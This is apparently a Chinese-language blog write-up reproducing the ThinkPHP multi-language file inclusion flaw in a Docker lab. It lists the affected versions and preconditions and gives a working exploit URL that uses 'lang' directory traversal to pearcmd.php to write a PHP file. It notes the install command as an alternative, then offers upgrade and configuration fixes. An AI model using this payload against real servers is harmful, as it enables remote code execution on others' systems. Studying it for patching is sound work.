免责声明
本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。
前言
最近一直遇到thinkphp的站点,但是只是脚本小子的我,看见多数工具里面都是只有thinkphp5.0.x以前的利用,今天刚好看见有大佬复现该漏洞,学习一手,膜拜一下大佬
漏洞详情
漏洞描述:
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。
影响版本:
- 6.0.1 < ThinkPHP≤ 6.0.13
- 5.0.0 < ThinkPHP≤ 5.0.12
- 5.1.0 < ThinkPHP≤ 5.1.8
当前复现版本:6.0.12
利用条件:
- 多语言开启
- 安装pear扩展
- 知道pearcmd.php路径
- register_argc_argv=on
漏洞复现
环境搭建:
服务器首先要有docker环境,没有的可以先部署一个
docker直接拉取thinkphp:6.0.12
的漏洞环境镜像:
docker pull vulfocus/thinkphp:6.0.12
启动容器,将容器的80端口映射到本机的80端口
docker run -it -d --name tp12 -p80:80 vulfocus/thinkphp:6.0.12
访问192.168.100.100:80/public
查看环境启动与否
pearcmd.php
这个文件的一些具体细节可以参考这篇文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
进入容器查看pearcmd.php文件路径为
/usr/local/lib/php/pearcmd.php
判断是否存在pearcmd,访问路径,如果存在以下报错就是OK,需要自己更换
?lang=../../../../../../../../usr/local/lib/php/pearcmd
EXP
/?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php
可以发现成功写入
但是直接访问hello.php文件时间报错,这里是因为get请求时,自动对<>
进行编码为:%3e
,%3e写入文件,在解析php文件时找不到有效 <?php 标记 ,文件将无法解析。
用burp修改,正确写入后的响应如下:
成功解析文件。
当然不止config-create,还可以用Install命令下载
修复建议:
1、若无必要,可关闭多语言功能,可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42,建议升级至安全版本,链接如下:
https://github.com/top-think/framework/tags
参考文章
https://mp.weixin.qq.com/s/CFEMDE4A0TLscxrqlSOF9w
https://zhuanlan.zhihu.com/p/616016132
暂无评论内容